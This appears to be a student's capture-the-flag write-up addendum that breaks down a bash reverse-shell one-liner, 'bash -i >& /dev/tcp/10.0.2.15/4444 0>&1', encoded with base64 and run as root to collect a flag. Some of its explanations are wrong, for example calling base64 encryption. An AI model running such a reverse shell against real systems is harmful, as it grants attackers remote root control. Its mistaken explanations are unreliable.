Addendum A:

Bill ask me to review the following command:

lets break it down:  
echo bash "-I>& /dev/tcp/10.0.2.15/4444 0>&1" | base64

Here is how I broke it down:  
echo - repeats the result or what you have typed in to a command or string of tes  
bash - Shell  
"-I>& - not sure of the function  
/dev/tcp/10.0.2.15/4444 - (to to make a remote connection to a device at a specific IP and port)  
0>&1" - not sure of the function  
| base64 - encrypts the entire string

The command gives you a resulting encrypted base64 data string. Since we are using ‘root’ privileges to execute the command the result is then run as root and creates the additional reverse shell.

This allows us to connect as root in this new shell and collect the remaining flag. If you where trying to do anything else in this shell it would allow since you are root you could create a new user, change a password, or any other command that you would like since you are root.